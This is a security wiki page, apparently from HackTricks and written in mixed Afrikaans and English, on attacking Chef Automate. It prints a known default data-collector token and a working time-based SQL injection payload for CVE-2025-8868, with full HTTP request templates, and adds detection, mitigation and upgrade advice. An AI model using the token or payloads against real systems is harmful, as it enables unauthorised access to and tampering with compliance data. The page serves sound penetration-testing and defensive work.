Chef Automate Enumeration & Attacks

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Overview

Hierdie bladsy versamel praktiese tegnieke om Chef Automate instances te enumerate en te attack, met klem op:

  • Discovering gRPC-Gateway-backed REST endpoints en die afleiding van request-skemas via validation/error responses
  • Abusing the x-data-collector-token authentication header when defaults are present
  • Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search

Let wel: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.

Recon: Architecture and Fingerprints

  • Front-end: Dikwels Angular. Statiese bundles kan hints gee oor REST paths (bv. /api/v0/…)
  • API transport: REST to gRPC via gRPC-Gateway
  • Responses may include grpc-metadata-content-type: application/grpc
  • Database/driver fingerprints:
  • Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
  • Interesting Compliance endpoints (auth required):
  • POST /api/v0/compliance/profiles/search
  • POST /api/v0/compliance/scanner/jobs/search

Auth: Data Collector Token (x-data-collector-token)

Chef Automate het ’n data collector wat versoeke verifieer via ’n toegewyde header:

  • Header: x-data-collector-token
  • Risk: Sommige omgewings mag ’n default token behou wat toegang tot beskermde API-roetes gee. Bekende default waargeneem in die wild:
  • 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

Indien aanwezig, kan hierdie token gebruik word om Compliance API endpoints aan te roep wat andersins deur auth toegesluit is. Probeer altyd defaults te roteer/deaktiveer tydens hardening.

API Schema Inference via Error-Driven Discovery

gRPC-Gateway-backed endpoints leak dikwels nuttige validation errors wat die verwagte request model beskryf.

For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:

  • type: string (filter field identifier)
  • values: array of strings

Example request shape:

{
"filters": [
{ "type": "name", "values": ["test"] }
]
}

Verkeerd gevormde JSON of verkeerde veldtipes veroorsaak gewoonlik 4xx/5xx met leidrade, en headers dui die gRPC-Gateway-gedrag aan. Gebruik hierdie om velde te kaarteer en inspuitingsvlakke te lokaliseer.

Compliance API SQL Injection (CVE-2025-8868)

  • Aangedane endpoint: POST /api/v0/compliance/profiles/search
  • Inspuitingspunt: filters[].type
  • Kwetsbaarheidsklas: time-based blind SQL injection in PostgreSQL
  • Grondoorsaak: Gebrek aan behoorlike parameterization/whitelisting wanneer die type field in ’n dynamic SQL fragment geïnterpoleer word (waarskynlik gebruik om identifiers/WHERE clauses te konstrueer). Crafted values in type word deur PostgreSQL geëvalueer.

Werkende time-based payload:

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Technique notes:

  • Sluit die oorspronklike string met ’n enkele aanhalingsteken
  • Koppel ’n subquery wat pg_sleep(N) aanroep
  • Gaan weer in stringkonteks via || sodat die finale SQL sintakties geldig bly, ongeag waar type ingebed is

Bewys deur differensiële latensie

Stuur gepaarde versoeke en vergelyk reaksietye om bedienerkant-uitvoering te verifieer:

  • N = 1 sekonde
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
  • N = 5 sekondes
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506

{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}

Observed behavior:

  • Response times scale with pg_sleep(N)
  • HTTP 500 responses may include pq: details during probing, confirming SQL execution paths

Wenk: Gebruik ’n tyd-validator (bv. meervoudige dieproewe met statistiese vergelyking) om geraas en vals positiewe te verminder.

Impak

Geverifieerde gebruikers — of ongeverifieerde akteurs wat ’n standaard x-data-collector-token misbruik — kan arbitrêre SQL binne Chef Automate se PostgreSQL-konteks uitvoer, wat die vertroulikheid en integriteit van compliance-profiele, konfigurasie en telemetrie in gevaar stel.

Geaffekteerde weergawes / Oplossing

  • CVE: CVE-2025-8868
  • Opgraderingsriglyn: Chef Automate 4.13.295 of later (Linux x86) volgens verskafferadvies

Opsporing en Forensiek

  • API-laag:
  • Monitor 500s op /api/v0/compliance/profiles/search waar filters[].type aanhalingstekens (’), concatenation (||), of funksieverwysings soos pg_sleep bevat
  • Kontroleer response headers vir grpc-metadata-content-type om gRPC-Gateway flows te identifiseer
  • Databasis-laag (PostgreSQL):
  • Ouditeer vir pg_sleep-oproepe en malformed identifier-foute (dikwels met pq: voorvoegsels afkomstig van die Go pq-driver)
  • Outentisering:
  • Log en waarsku oor gebruik van x-data-collector-token, veral bekende standaardwaardes, oor API-paaie

Mitigasies en Verharding

  • Onmiddellik:
  • Draai/deaktiveer standaard data-collector-tokens
  • Beperk inkoms na data-collector-endpunte; dwing sterk, unieke tokens af
  • Kodevlak:
  • Parameteriseer queries; moenie SQL-fragmenten deur string-concatenation bou nie
  • Witlys streng toegelate type-waardes op die bediener (enum)
  • Vermy dinamiese SQL-samestelling vir identifiers/clauses; as dinamiese gedrag nodig is, gebruik veilige identifier-quoting en eksplisiete witlyste

Praktiese Toetskontrolelys

  • Kontroleer of x-data-collector-token aanvaar word en of die bekende standaard werk
  • Map die Compliance API versoekskema deur valideringsfoute uit te lok en foutboodskappe/opskrifte te lees
  • Toets vir SQLi in minder voor die hand liggende “identifier-like” velde (bv. filters[].type), nie net waardes-arrays of vlak-1 teksvelde nie
  • Gebruik tydgebaseerde tegnieke met concatenation om SQL sintakties geldig oor verskeie kontekste te hou

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks